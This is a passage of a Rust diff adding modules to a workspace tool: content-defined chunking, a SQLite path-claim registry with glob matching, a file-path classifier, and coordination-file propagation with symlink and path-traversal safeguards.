ChunkStream { + pub fn new(reader: R) -> Self { + Self { + reader, + buffer: vec![0; READ_BUFFER], + position: 0, + filled: 0, + eof: false, + } + } + + pub fn next_chunk(&mut self) -> io::Result>> { + if self.eof { + return Ok(None); + } + + let mut out = Vec::with_capacity(AVG_CHUNK); + let mut hash = 0_u64; + let early_mask = (AVG_CHUNK as u64 * 2) - 1; + let late_mask = (AVG_CHUNK as u64 / 2) - 1; + while out.len() < MAX_CHUNK { + if self.position == self.filled { + self.filled = self.reader.read(&mut self.buffer)?; + self.position = 0; + if self.filled == 0 { + self.eof = true; + break; + } + } + + let available = self.filled - self.position; + let take = available.min(MAX_CHUNK - out.len()); + let start = self.position; + for offset in 0..take { + let value = self.buffer[start + offset]; + out.push(value); + hash = hash.rotate_left(1).wrapping_add(GEAR[value as usize]); + + let len = out.len(); + let boundary = if len < MIN_CHUNK { + false + } else if len < AVG_CHUNK { + hash & early_mask == 0 + } else { + hash & late_mask == 0 + }; + if boundary { + self.position += offset + 1; + return Ok(Some(out)); + } + } + self.position += take; + } + + if out.is_empty() { + Ok(None) + } else { + Ok(Some(out)) + } + } +} + +const fn gear_table() -> [u64; 256] { + let mut table = [0_u64; 256]; + let mut i = 0; + let mut state = 0x9e3779b97f4a7c15_u64; + while i < 256 { + state ^= state >> 12; + state ^= state << 25; + state ^= state >> 27; + table[i] = state.wrapping_mul(0x2545f4914f6cdd1d); + i += 1; + } + table +} + +const GEAR: [u64; 256] = gear_table(); + +#[cfg(test)] +mod tests { + use super::*; + use std::io::Cursor; + use std::sync::atomic::{AtomicUsize, Ordering}; + use std::sync::Arc; + + #[test] + fn chunks_are_bounded_and_reconstruct_input() { + let input: Vec = (0..(MAX_CHUNK * 3 + 17)).map(|n| (n % 251) as u8).collect(); + let mut stream = ChunkStream::new(Cursor::new(&input)); + let mut rebuilt = Vec::new(); + let mut count = 0; + while let Some(chunk) = stream.next_chunk().unwrap() { + assert!(chunk.len() <= MAX_CHUNK); + rebuilt.extend_from_slice(&chunk); + count += 1; + } + assert!(count >= 3); + assert_eq!(rebuilt, input); + } + + struct CountedReader { + cursor: Cursor>, + reads: Arc, + } + + impl Read for CountedReader { + fn read(&mut self, buffer: &mut [u8]) -> io::Result { + self.reads.fetch_add(1, Ordering::Relaxed); + self.cursor.read(buffer) + } + } + + #[test] + fn reads_large_inputs_in_blocks() { + let reads = Arc::new(AtomicUsize::new(0)); + let reader = CountedReader { + cursor: Cursor::new(vec![3; MAX_CHUNK * 3]), + reads: Arc::clone(&reads), + }; + let mut stream = ChunkStream::new(reader); + let mut length = 0; + while let Some(chunk) = stream.next_chunk().unwrap() { + length += chunk.len(); + } + assert_eq!(length, MAX_CHUNK * 3); + assert!(reads.load(Ordering::Relaxed) < 100); + } +} diff --git a/engine/furrow-core/src/claims.rs b/engine/furrow-core/src/claims.rs new file mode 100644 index 0000000000..557315d31b --- /dev/null +++ b/engine/furrow-core/src/claims.rs @@ -0,0 +1,427 @@ +//! Advisory path claims with transactional conflict detection and TTL expiry. + +use crate::model::ClaimRecord; +use anyhow::Context; +use rusqlite::{params, Connection}; +use std::path::{Path, PathBuf}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +const MAX_PATTERN_BYTES: usize = 1024; +const MAX_OWNER_BYTES: usize = 256; +const MAX_TTL_SECONDS: u64 = 7 * 24 * 60 * 60; + +pub struct Registry { + connection: Connection, +} + +impl Registry { + pub fn open(store_root: &Path, family_id: &str) -> anyhow::Result { + validate_family_id(family_id)?; + let directory = store_root.join("families").join(family_id); + std::fs::create_dir_all(&directory)?; + let connection = Connection::open(directory.join("claims.sqlite3"))?; + connection.busy_timeout(Duration::from_secs(5))?; + connection.execute_batch( + "PRAGMA journal_mode=WAL; + PRAGMA synchronous=FULL; + CREATE TABLE IF NOT EXISTS claims( + id TEXT PRIMARY KEY, + pattern TEXT NOT NULL, + owner TEXT NOT NULL, + workspace_id TEXT NOT NULL, + created_at INTEGER NOT NULL, + expires_at INTEGER NOT NULL + ); + CREATE INDEX IF NOT EXISTS claims_expiry ON claims(expires_at);", + )?; + Ok(Self { connection }) + } + + pub fn claim( + &mut self, + pattern: &str, + owner: &str, + workspace_id: &str, + ttl_seconds: u64, + ) -> anyhow::Result { + validate_pattern(pattern)?; + validate_owner(owner)?; + anyhow::ensure!( + (1..=MAX_TTL_SECONDS).contains(&ttl_seconds), + "claim TTL must be between 1 second and 7 days" + ); + let now = now()?; + let transaction = self + .connection + .transaction_with_behavior(rusqlite::TransactionBehavior::Immediate)?; + transaction.execute("DELETE FROM claims WHERE expires_at <= ?1", params![now])?; + let mut statement = transaction.prepare( + "SELECT id, pattern, owner, workspace_id, created_at, expires_at + FROM claims ORDER BY created_at, id", + )?; + let existing = statement + .query_map([], row_to_claim)? + .collect::, _>>()?; + drop(statement); + if let Some(existing) = existing.iter().find(|claim| { + claim.workspace_id == workspace_id && claim.owner == owner && claim.pattern == pattern + }) { + transaction.commit()?; + return Ok(existing.clone()); + } + if let Some(conflict) = existing.iter().find(|claim| { + !(claim.workspace_id == workspace_id && claim.owner == owner) + && patterns_may_overlap(&claim.pattern, pattern) + }) { + anyhow::bail!( + "claim `{pattern}` overlaps `{}` held by {} until {}", + conflict.pattern, + conflict.owner, + conflict.expires_at + ); + } + let claim = ClaimRecord { + id: new_id()?, + pattern: pattern.to_owned(), + owner: owner.to_owned(), + workspace_id: workspace_id.to_owned(), + created_at: now, + expires_at: now.saturating_add(ttl_seconds as i64), + }; + transaction.execute( + "INSERT INTO claims(id, pattern, owner, workspace_id, created_at, expires_at) + VALUES(?1, ?2, ?3, ?4, ?5, ?6)", + params![ + claim.id, + claim.pattern, + claim.owner, + claim.workspace_id, + claim.created_at, + claim.expires_at + ], + )?; + transaction.commit()?; + Ok(claim) + } + + pub fn active(&mut self) -> anyhow::Result> { + let now = now()?; + let transaction = self + .connection + .transaction_with_behavior(rusqlite::TransactionBehavior::Immediate)?; + transaction.execute("DELETE FROM claims WHERE expires_at <= ?1", params![now])?; + let claims = { + let mut statement = transaction.prepare( + "SELECT id, pattern, owner, workspace_id, created_at, expires_at + FROM claims ORDER BY pattern, owner, id", + )?; + let mapped = statement.query_map([], row_to_claim)?; + mapped.collect::, _>>()? + }; + transaction.commit()?; + Ok(claims) + } + + pub fn release( + &mut self, + selector: &str, + owner: &str, + workspace_id: &str, + ) -> anyhow::Result> { + validate_owner(owner)?; + let transaction = self + .connection + .transaction_with_behavior(rusqlite::TransactionBehavior::Immediate)?; + let released = { + let mut statement = transaction.prepare( + "SELECT id, pattern, owner, workspace_id, created_at, expires_at + FROM claims + WHERE (id = ?1 OR pattern = ?1) AND owner = ?2 AND workspace_id = ?3 + ORDER BY id", + )?; + let mapped = + statement.query_map(params![selector, owner, workspace_id], row_to_claim)?; + mapped.collect::, _>>()? + }; + anyhow::ensure!( + !released.is_empty(), + "no claim `{selector}` is held by {owner} in this workspace" + ); + for claim in &released { + transaction.execute("DELETE FROM claims WHERE id = ?1", params![claim.id])?; + } + transaction.commit()?; + Ok(released) + } + + pub fn restore(&mut self, claims: &[ClaimRecord]) -> anyhow::Result<()> { + let transaction = self + .connection + .transaction_with_behavior(rusqlite::TransactionBehavior::Immediate)?; + for claim in claims { + transaction.execute( + "INSERT OR REPLACE INTO claims + (id, pattern, owner, workspace_id, created_at, expires_at) + VALUES(?1, ?2, ?3, ?4, ?5, ?6)", + params![ + claim.id, + claim.pattern, + claim.owner, + claim.workspace_id, + claim.created_at, + claim.expires_at + ], + )?; + } + transaction.commit()?; + Ok(()) + } + + pub fn release_workspace(&mut self, workspace_id: &str) -> anyhow::Result { + let transaction = self + .connection + .transaction_with_behavior(rusqlite::TransactionBehavior::Immediate)?; + let removed = transaction.execute( + "DELETE FROM claims WHERE workspace_id = ?1", + params![workspace_id], + )?; + transaction.commit()?; + Ok(removed as u64) + } +} + +fn row_to_claim(row: &rusqlite::Row<'_>) -> rusqlite::Result { + Ok(ClaimRecord { + id: row.get(0)?, + pattern: row.get(1)?, + owner: row.get(2)?, + workspace_id: row.get(3)?, + created_at: row.get(4)?, + expires_at: row.get(5)?, + }) +} + +fn validate_family_id(value: &str) -> anyhow::Result<()> { + anyhow::ensure!( + value.len() == 32 && value.bytes().all(|byte| byte.is_ascii_hexdigit()), + "invalid family ID" + ); + Ok(()) +} + +fn validate_owner(owner: &str) -> anyhow::Result<()> { + anyhow::ensure!(!owner.is_empty(), "claim owner cannot be empty"); + anyhow::ensure!(owner.len() <= MAX_OWNER_BYTES, "claim owner is too long"); + anyhow::ensure!( + !owner.chars().any(char::is_control), + "claim owner contains control characters" + ); + Ok(()) +} + +pub fn validate_pattern(pattern: &str) -> anyhow::Result<()> { + anyhow::ensure!(!pattern.is_empty(), "claim pattern cannot be empty"); + anyhow::ensure!( + pattern.len() <= MAX_PATTERN_BYTES, + "claim pattern is too long" + ); + anyhow::ensure!(!pattern.starts_with('/'), "claim pattern must be relative"); + anyhow::ensure!( + !pattern.chars().any(char::is_control), + "claim pattern contains control characters" + ); + for component in pattern.split('/') { + anyhow::ensure!( + !component.is_empty() && component != "." && component != "..", + "claim pattern contains an unsafe path component" + ); + } + Ok(()) +} + +fn patterns_may_overlap(left: &str, right: &str) -> bool { + if left == right { + return true; + } + let left_wild = contains_wildcard(left); + let right_wild = contains_wildcard(right); + if !left_wild && !right_wild { + return false; + } + let left_prefix = literal_prefix(left); + let right_prefix = literal_prefix(right); + component_prefix(&left_prefix, &right_prefix) || component_prefix(&right_prefix, &left_prefix) +} + +/// Match a validated claim glob against a lossless repository-relative path. +/// `*` and `?` stay within one component; `**` may cross `/` boundaries. +pub fn matches_path(pattern: &str, path: &[u8]) -> bool { + let pattern = pattern.as_bytes(); + let width = path.len() + 1; + let mut memo = vec![None; (pattern.len() + 1).saturating_mul(width)]; + glob_match(pattern, path, 0, 0, width, &mut memo) +} + +fn glob_match( + pattern: &[u8], + path: &[u8], + pattern_index: usize, + path_index: usize, + width: usize, + memo: &mut [Option], +) -> bool { + let slot = pattern_index * width + path_index; + if let Some(result) = memo[slot] { + return result; + } + let result = if pattern_index == pattern.len() { + path_index == path.len() + } else if pattern[pattern_index] == b'*' { + let recursive = pattern.get(pattern_index + 1) == Some(&b'*'); + let next = pattern_index + if recursive { 2 } else { 1 }; + glob_match(pattern, path, next, path_index, width, memo) + || (path_index < path.len() + && (recursive || path[path_index] != b'/') + && glob_match(pattern, path, pattern_index, path_index + 1, width, memo)) + } else if pattern[pattern_index] == b'?' { + path_index < path.len() + && path[path_index] != b'/' + && glob_match( + pattern, + path, + pattern_index + 1, + path_index + 1, + width, + memo, + ) + } else if pattern[pattern_index] == b'[' { + match character_class(pattern, pattern_index, path.get(path_index).copied()) { + Some((matches, next)) => { + matches && glob_match(pattern, path, next, path_index + 1, width, memo) + } + None => { + path.get(path_index) == Some(&b'[') + && glob_match( + pattern, + path, + pattern_index + 1, + path_index + 1, + width, + memo, + ) + } + } + } else { + path.get(path_index) == Some(&pattern[pattern_index]) + && glob_match( + pattern, + path, + pattern_index + 1, + path_index + 1, + width, + memo, + ) + }; + memo[slot] = Some(result); + result +} + +fn character_class(pattern: &[u8], start: usize, value: Option) -> Option<(bool, usize)> { + let value = value.filter(|value| *value != b'/')?; + let mut index = start + 1; + let negated = matches!(pattern.get(index), Some(b'!' | b'^')); + index += usize::from(negated); + let content_start = index; + let mut matched = false; + while index < pattern.len() && pattern[index] != b']' { + if index + 2 < pattern.len() && pattern[index + 1] == b'-' && pattern[index + 2] != b']' { + matched |= pattern[index] <= value && value <= pattern[index + 2]; + index += 3; + } else { + matched |= pattern[index] == value; + index += 1; + } + } + if index == pattern.len() || index == content_start { + return None; + } + Some((matched != negated, index + 1)) +} + +fn literal_prefix(pattern: &str) -> Vec<&str> { + pattern + .split('/') + .take_while(|component| !contains_wildcard(component)) + .collect() +} + +fn contains_wildcard(value: &str) -> bool { + value.bytes().any(|byte| matches!(byte, b'*' | b'?' | b'[')) +} + +fn component_prefix(left: &[&str], right: &[&str]) -> bool { + left.len() <= right.len() && left.iter().zip(right).all(|(left, right)| left == right) +} + +fn new_id() -> anyhow::Result { + let mut bytes = [0_u8; 12]; + getrandom::getrandom(&mut bytes) + .map_err(|error| anyhow::anyhow!("generate claim ID: {error}"))?; + Ok(hex::encode(bytes)) +} + +fn now() -> anyhow::Result { + Ok(SystemTime::now() + .duration_since(UNIX_EPOCH) + .context("clock is before Unix epoch")? + .as_secs() as i64) +} + +pub fn registry_path(store_root: &Path, family_id: &str) -> PathBuf { + store_root + .join("families") + .join(family_id) + .join("claims.sqlite3") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn overlapping_claims_conflict_but_disjoint_and_same_owner_claims_work() { + let temporary = tempfile::tempdir().unwrap(); + let mut registry = Registry::open(temporary.path(), &"a".repeat(32)).unwrap(); + let first = registry + .claim("src/auth/**", "alpha", "workspace-a", 3600) + .unwrap(); + assert!(registry + .claim("src/auth/login.rs", "beta", "workspace-b", 3600) + .is_err()); + registry + .claim("src/payments/**", "beta", "workspace-b", 3600) + .unwrap(); + assert_eq!( + registry + .claim("src/auth/**", "alpha", "workspace-a", 3600) + .unwrap() + .id, + first.id + ); + assert_eq!(registry.active().unwrap().len(), 2); + registry.release(&first.id, "alpha", "workspace-a").unwrap(); + registry + .claim("src/auth/login.rs", "beta", "workspace-b", 3600) + .unwrap(); + } + + #[test] + fn claim_globs_match_components_and_recursive_subtrees() { + assert!(matches_path("src/auth/**", b"src/auth/login/session.rs")); + assert!(matches_path("src/*.rs", b"src/main.rs")); + assert!(!matches_path("src/*.rs", b"src/nested/main.rs")); + assert!(matches_path("src/file[0-9].rs", b"src/file7.rs")); + assert!(!matches_path("src/file[!0-9].rs", b"src/file7.rs")); + assert!(matches_path("config/?.env", b"config/a.env")); + } +} diff --git a/engine/furrow-core/src/content_class.rs b/engine/furrow-core/src/content_class.rs new file mode 100644 index 0000000000..af88b3ba9a --- /dev/null +++ b/engine/furrow-core/src/content_class.rs @@ -0,0 +1,207 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +#[repr(u8)] +pub enum ContentClass { + #[default] + Source, + VcsMeta, + ConfigSecret, + Dependency, + BuildOutput, + Database, + Lockfile, + Scratch, +} + +impl ContentClass { + pub const ALL: [Self; 8] = [ + Self::Source, + Self::VcsMeta, + Self::ConfigSecret, + Self::Dependency, + Self::BuildOutput, + Self::Database, + Self::Lockfile, + Self::Scratch, + ]; + + pub fn bit(self) -> u16 { + 1 << self as u8 + } + + pub fn as_str(self) -> &'static str { + match self { + Self::Source => "source", + Self::VcsMeta => "vcs-meta", + Self::ConfigSecret => "config-secret", + Self::Dependency => "dependency", + Self::BuildOutput => "build-output", + Self::Database => "database", + Self::Lockfile => "lockfile", + Self::Scratch => "scratch", + } + } +} + +pub fn classify(relative: &[u8]) -> ContentClass { + let components: Vec<&[u8]> = relative + .split(|byte| *byte == b'/') + .filter(|component| !component.is_empty()) + .collect(); + let Some(name) = components.last().copied() else { + return ContentClass::Source; + }; + + if has_component(&components, &[b".git", b".jj"]) { + return ContentClass::VcsMeta; + } + if is_secret(&components, name) { + return ContentClass::ConfigSecret; + } + if is_lockfile(name) { + return ContentClass::Lockfile; + } + if is_database(name) { + return ContentClass::Database; + } + if has_component( + &components, + &[b"node_modules", b".venv", b"venv", b"vendor", b".pnpm"], + ) || has_component_suffix(&components, b"site-packages") + { + return ContentClass::Dependency; + } + if has_component( + &components, + &[ + b"target", + b"dist", + b"build", + b".next", + b".nuxt", + b".turbo", + b".parcel-cache", + b"coverage", + b"out", + ], + ) || has_suffix(name, &[b".o", b".obj", b".class", b".pyc"]) + { + return ContentClass::BuildOutput; + } + if has_component( + &components, + &[b"tmp", b"temp", b"logs", b"log", b".cache", b"__pycache__"], + ) || name.starts_with(b".#") + || name.ends_with(b"~") + || has_suffix(name, &[b".log", b".tmp", b".swp", b".swo"]) + { + return ContentClass::Scratch; + } + ContentClass::Source +} + +fn has_component(components: &[&[u8]], candidates: &[&[u8]]) -> bool { + components + .iter() + .any(|component| candidates.contains(component)) +} + +fn has_component_suffix(components: &[&[u8]], suffix: &[u8]) -> bool { + components + .iter() + .any(|component| component.ends_with(suffix)) +} + +fn has_suffix(name: &[u8], suffixes: &[&[u8]]) -> bool { + suffixes.iter().any(|suffix| name.ends_with(suffix)) +} + +fn is_secret(components: &[&[u8]], name: &[u8]) -> bool { + has_component(components, &[b".ssh", b".gnupg"]) + || name == b".env" + || name.starts_with(b".env.") + || matches!(name, b"id_rsa" | b"id_ed25519" | b"id_ecdsa") + || has_suffix(name, &[b".pem", b".key", b".p12", b".pfx"]) +} + +fn is_lockfile(name: &[u8]) -> bool { + matches!( + name, + b"Cargo.lock" + | b"package-lock.json" + | b"pnpm-lock.yaml" + | b"yarn.lock" + | b"bun.lock" + | b"bun.lockb" + | b"poetry.lock" + | b"Pipfile.lock" + | b"go.sum" + | b"composer.lock" + | b"Gemfile.lock" + ) +} + +fn is_database(name: &[u8]) -> bool { + has_suffix(name, &[b".sqlite", b".sqlite3", b".db"]) + || has_suffix( + name, + &[ + b".sqlite-wal", + b".sqlite-shm", + b".sqlite3-wal", + b".sqlite3-shm", + b".db-wal", + b".db-shm", + ], + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn classifies_retention_and_security_relevant_paths() { + let cases = [ + (b"src/main.rs".as_slice(), ContentClass::Source), + (b".git/index".as_slice(), ContentClass::VcsMeta), + (b"config/.env.local".as_slice(), ContentClass::ConfigSecret), + (b"keys/deploy.pem".as_slice(), ContentClass::ConfigSecret), + (b"Cargo.lock".as_slice(), ContentClass::Lockfile), + (b"data/dev.sqlite-wal".as_slice(), ContentClass::Database), + ( + b"node_modules/pkg/index.js".as_slice(), + ContentClass::Dependency, + ), + (b"target/debug/app.o".as_slice(), ContentClass::BuildOutput), + (b"logs/server.log".as_slice(), ContentClass::Scratch), + ]; + for (path, expected) in cases { + assert_eq!( + classify(path), + expected, + "{}", + String::from_utf8_lossy(path) + ); + } + } + + #[test] + fn legacy_tree_entries_default_to_source() { + let entry: crate::model::TreeEntry = serde_json::from_value(serde_json::json!({ + "name": [102], + "kind": "File", + "target": null, + "link_target": [], + "mode": 33188, + "size": 0, + "mtime_secs": 0, + "mtime_nanos": 0, + "xattrs": null + })) + .unwrap(); + assert_eq!(entry.class, ContentClass::Source); + } +} diff --git a/engine/furrow-core/src/coord.rs b/engine/furrow-core/src/coord.rs new file mode 100644 index 0000000000..acceaae0d4 --- /dev/null +++ b/engine/furrow-core/src/coord.rs @@ -0,0 +1,381 @@ +//! Eager, versioned coordination files shared by sibling workspaces. + +use crate::store::ObjectStore; +use anyhow::Context; +use fs2::FileExt; +use serde::Serialize; +use std::fs::{self, File, OpenOptions}; +use std::io::{Read, Write}; +use std::path::{Component, Path, PathBuf}; + +const MAX_COORD_BYTES: u64 = 1024 * 1024; +const MAX_COORD_FILES: usize = 10_000; +const FAMILY_FILE: &str = ".furrow/family-id"; +const COORD_ROOT: &str = ".furrow/coord"; + +#[derive(Debug, Clone, Serialize)] +pub struct CoordFailure { + pub workspace: PathBuf, + pub error: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct CoordPropagation { + pub path: String, + pub bytes: u64, + pub propagated_workspaces: u64, + pub failures: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct CoordEntry { + pub path: String, + pub bytes: u64, +} + +pub fn write( + root: &Path, + store: &ObjectStore, + family_id: &str, + relative: &Path, + bytes: &[u8], +) -> anyhow::Result { + anyhow::ensure!( + bytes.len() as u64 <= MAX_COORD_BYTES, + "coord values are limited to 1 MiB" + ); + let relative = validate_relative(relative)?; + let _lock = family_lock(store, family_id)?; + let family = family_root(store, family_id); + let authority = family.join("coord/files").join(&relative); + write_safe(&family.join("coord/files"), &authority, bytes)?; + let tombstone = tombstone_path(&family, &relative); + if tombstone.exists() { + fs::remove_file(tombstone)?; + } + let report = propagate(store, family_id, &relative, Some(bytes))?; + ensure_current_materialized(root, &relative, bytes)?; + Ok(report) +} + +pub fn remove( + root: &Path, + store: &ObjectStore, + family_id: &str, + relative: &Path, +) -> anyhow::Result { + let relative = validate_relative(relative)?; + let _lock = family_lock(store, family_id)?; + let family = family_root(store, family_id); + let tombstone = tombstone_path(&family, &relative); + atomic_write(&tombstone, b"")?; + let authority = family.join("coord/files").join(&relative); + if fs::symlink_metadata(&authority).is_ok() { + remove_leaf(&authority)?; + } + let report = propagate(store, family_id, &relative, None)?; + let current = root.join(COORD_ROOT).join(&relative); + anyhow::ensure!( + fs::symlink_metadata(current).is_err(), + "coord deletion did not reach the current workspace" + ); + Ok(report) +} + +pub fn reconcile(root: &Path, store: &ObjectStore, family_id: &str) -> anyhow::Result { + let family = family_root(store, family_id); + if !family.join("coord").is_dir() { + return Ok(0); + } + let _lock = family_lock(store, family_id)?; + let mut applied = 0_u64; + let tombstones = family.join("coord/tombstones"); + if tombstones.is_dir() { + for entry in fs::read_dir(&tombstones)? { + let entry = entry?; + if !entry.file_type()?.is_file() { + continue; + } + let encoded = entry.file_name().to_string_lossy().into_owned(); + let bytes = hex::decode(encoded).context("invalid coord tombstone")?; + let relative = PathBuf::from(String::from_utf8(bytes)?); + let relative = validate_relative(&relative)?; + let destination = root.join(COORD_ROOT).join(relative); + ensure_safe_parent(&root.join(COORD_ROOT), &destination)?; + if fs::symlink_metadata(&destination).is_ok() { + remove_leaf(&destination)?; + applied += 1; + } + } + } + let files = family.join("coord/files"); + if files.is_dir() { + let mut authority = Vec::new(); + collect_files(&files, &files, &mut authority)?; + for (relative, source) in authority { + let bytes = read_bounded(&source)?; + let destination = root.join(COORD_ROOT).join(&relative); + write_safe(&root.join(COORD_ROOT), &destination, &bytes)?; + applied += 1; + } + } + Ok(applied) +} + +pub fn read(root: &Path, relative: &Path) -> anyhow::Result> { + let relative = validate_relative(relative)?; + let path = root.join(COORD_ROOT).join(relative); + ensure_safe_parent(&root.join(COORD_ROOT), &path)?; + read_bounded(&path) +} + +pub fn list(root: &Path) -> anyhow::Result> { + let coord = root.join(COORD_ROOT); + if !coord.is_dir() { + return Ok(Vec::new()); + } + let mut files = Vec::new(); + collect_files(&coord, &coord, &mut files)?; + let mut entries = Vec::with_capacity(files.len()); + for (relative, path) in files { + entries.push(CoordEntry { + path: relative.to_string_lossy().into_owned(), + bytes: fs::metadata(path)?.len(), + }); + } + entries.sort_by(|left, right| left.path.cmp(&right.path)); + Ok(entries) +} + +fn propagate( + store: &ObjectStore, + family_id: &str, + relative: &Path, + bytes: Option<&[u8]>, +) -> anyhow::Result { + let mut propagated = 0_u64; + let mut failures = Vec::new(); + for (_, workspace) in store.workspace_roots()? { + if !workspace.is_dir() || workspace_family(&workspace).as_deref() != Some(family_id) { + continue; + } + let destination = workspace.join(COORD_ROOT).join(relative); + let result = match bytes { + Some(bytes) => write_safe(&workspace.join(COORD_ROOT), &destination, bytes), + None => (|| { + ensure_safe_parent(&workspace.join(COORD_ROOT), &destination)?; + if fs::symlink_metadata(&destination).is_ok() { + remove_leaf(&destination) + } else { + Ok(()) + } + })(), + }; + match result { + Ok(()) => propagated += 1, + Err(error) => failures.push(CoordFailure { + workspace, + error: error.to_string(), + }), + } + } + Ok(CoordPropagation { + path: relative.to_string_lossy().into_owned(), + bytes: bytes.map_or(0, |bytes| bytes.len() as u64), + propagated_workspaces: propagated, + failures, + }) +} + +fn workspace_family(root: &Path) -> Option { + let path = root.join(FAMILY_FILE); + let metadata = fs::symlink_metadata(&path).ok()?; + if !metadata.is_file() || metadata.file_type().is_symlink() { + return None; + } + fs::read_to_string(path) + .ok() + .map(|value| value.trim().to_owned()) +} + +fn ensure_current_materialized( + root: &Path, + relative: &Path, + expected: &[u8], +) -> anyhow::Result<()> { + let actual = read(root, relative)?; + anyhow::ensure!( + actual == expected, + "coord write did not reach the current workspace" + ); + Ok(()) +} + +fn family_lock(store: &ObjectStore, family_id: &str) -> anyhow::Result { + anyhow::ensure!( + family_id.len() == 32 + && family_id + .bytes() + .all(|byte| byte.is_ascii_hexdigit() && !byte.is_ascii_uppercase()), + "invalid family ID" + ); + let family = family_root(store, family_id); + fs::create_dir_all(&family)?; + let file = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(family.join("coord.lock"))?; + file.lock_exclusive()?; + Ok(file) +} + +fn family_root(store: &ObjectStore, family_id: &str) -> PathBuf { + store.root().join("families").join(family_id) +} + +fn tombstone_path(family: &Path, relative: &Path) -> PathBuf { + family + .join("coord/tombstones") + .join(hex::encode(relative.to_string_lossy().as_bytes())) +} + +fn validate_relative(path: &Path) -> anyhow::Result { + anyhow::ensure!(!path.as_os_str().is_empty(), "coord path cannot be empty"); + anyhow::ensure!(!path.is_absolute(), "coord path must be relative"); + let value = path.to_str().context("coord path must be valid UTF-8")?; + anyhow::ensure!(value.len() <= 1024, "coord path is too long"); + anyhow::ensure!( + path.components() + .all(|component| matches!(component, Component::Normal(_))), + "coord path contains an unsafe component" + ); + Ok(path.to_owned()) +} + +fn write_safe(base: &Path, destination: &Path, bytes: &[u8]) -> anyhow::Result<()> { + ensure_safe_parent(base, destination)?; + if let Ok(metadata) = fs::symlink_metadata(destination) { + anyhow::ensure!( + metadata.is_file() && !metadata.file_type().is_symlink(), + "coord destination is not a regular file" + ); + } + atomic_write(destination, bytes) +} + +fn ensure_safe_parent(base: &Path, destination: &Path) -> anyhow::Result<()> { + fs::create_dir_all(base)?; + let base_metadata = fs::symlink_metadata(base)?; + anyhow::ensure!( + base_metadata.is_dir() && !base_metadata.file_type().is_symlink(), + "coord root is not a real directory" + ); + let relative = destination + .strip_prefix(base) + .context("coord destination escaped its root")?; + let mut current = base.to_owned(); + let components: Vec<_> = relative.components().collect(); + for component in components.iter().take(components.len().saturating_sub(1)) { + let Component::Normal(name) = component else { + anyhow::bail!("coord path contains an unsafe component") + }; + current.push(name); + match fs::symlink_metadata(¤t) { + Ok(metadata) => anyhow::ensure!( + metadata.is_dir() && !metadata.file_type().is_symlink(), + "coord parent is not a real directory" + ), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + fs::create_dir(¤t)?; + } + Err(error) => return Err(error.into()), + } + } + Ok(()) +} + +fn atomic_write(path: &Path, bytes: &[u8]) -> anyhow::Result<()> { + let parent = path.parent().context("coord file has no parent")?; + fs::create_dir_all(parent)?; + let mut temporary = tempfile::NamedTempFile::new_in(parent)?; + temporary.write_all(bytes)?; + temporary.as_file().sync_all()?; + temporary.persist(path).map_err(|error| error.error)?; + File::open(parent)?.sync_all()?; + Ok(()) +} + +fn read_bounded(path: &Path) -> anyhow::Result> { + let metadata = fs::symlink_metadata(path)?; + anyhow::ensure!( + metadata.is_file() && !metadata.file_type().is_symlink(), + "coord value is not a regular file" + ); + anyhow::ensure!( + metadata.len() <= MAX_COORD_BYTES, + "coord value exceeds 1 MiB" + ); + let mut bytes = Vec::with_capacity(metadata.len() as usize); + File::open(path)? + .take(MAX_COORD_BYTES + 1) + .read_to_end(&mut bytes)?; + anyhow::ensure!( + bytes.len() as u64 <= MAX_COORD_BYTES, + "coord value exceeds 1 MiB" + ); + Ok(bytes) +} + +fn collect_files( + base: &Path, + directory: &Path, + output: &mut Vec<(PathBuf, PathBuf)>, +) -> anyhow::Result<()> { + for entry in fs::read_dir(directory)? { + let entry = entry?; + let file_type = entry.file_type()?; + anyhow::ensure!(!file_type.is_symlink(), "coord tree contains a symlink"); + if file_type.is_dir() { + collect_files(base, &entry.path(), output)?; + } else if file_type.is_file() { + anyhow::ensure!( + output.len() < MAX_COORD_FILES, + "coord tree exceeds 10,000 files" + ); + output.push((entry.path().strip_prefix(base)?.to_owned(), entry.path())); + } + } + Ok(()) +} + +fn remove_leaf(path: &Path) -> anyhow::Result<()> { + let metadata = fs::symlink_metadata(path)?; + if metadata.is_dir() && !metadata.file_type().is_symlink() { + anyhow::bail!("coord leaf is a directory") + } + fs::remove_file(path)?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn validates_paths_and_refuses_symlink_parents() { + assert!(validate_relative(Path::new("tasks/alpha.md")).is_ok()); + assert!(validate_relative(Path::new("../secret")).is_err()); + let temporary = tempfile::tempdir().unwrap(); + let outside = tempfile::tempdir().unwrap(); + fs::create_dir_all(temporary.path().join("coord")).unwrap(); + std::os::unix::fs::symlink(outside.path(), temporary.path().join("coord/link")).unwrap(); + assert!(write_safe( + &temporary.path().join("coord"), + &temporary.path().join("coord/link/value"), + b"blocked" + ) + .is_err()); + } +} diff --git a/engine/furrow-core/src/durability.rs b/engine/furrow-core/src/durability.rs new file mode 100644 index 0000000000..a3afed1743 --- /dev/null +++ b/engine/furrow-core/src/durability.rs @@ -0,0 +1,106 @@ +//! One durability step for a batch of writes. +//! +//! Writing a tree file by file and syncing each one makes the time of a +//! restore the number of files times the latency of a device flush, which is +//! milliseconds each. A restore writes all its files first and then makes +//! them durable together, so a crash before this call leaves the restore +//! intent to roll back and a crash after it leaves every file on disk. + +use std::fs::File; +use std::io; +use std::path::PathBuf; + +/// What a restore wrote: the files it created and the directories that gained +/// or lost an entry, all under one root. +pub struct Written { + pub root: PathBuf, + pub files: Vec, + pub directories: Vec, +} + +impl Written { + /// Makes every write of the batch durable with the cheapest step the + /// platform offers. + pub fn make_durable(&self) -> io::Result<()> { + platform::flush(self) + } +} + +#[cfg(target_os = "linux")] +mod platform { + use super::*; + use std::os::fd::AsRawFd; + + /// `syncfs` flushes the data and the directory entries of the whole + /// filesystem in one journal commit, so its cost does not grow with the + /// number of files written. + pub fn flush(written: &Written) -> 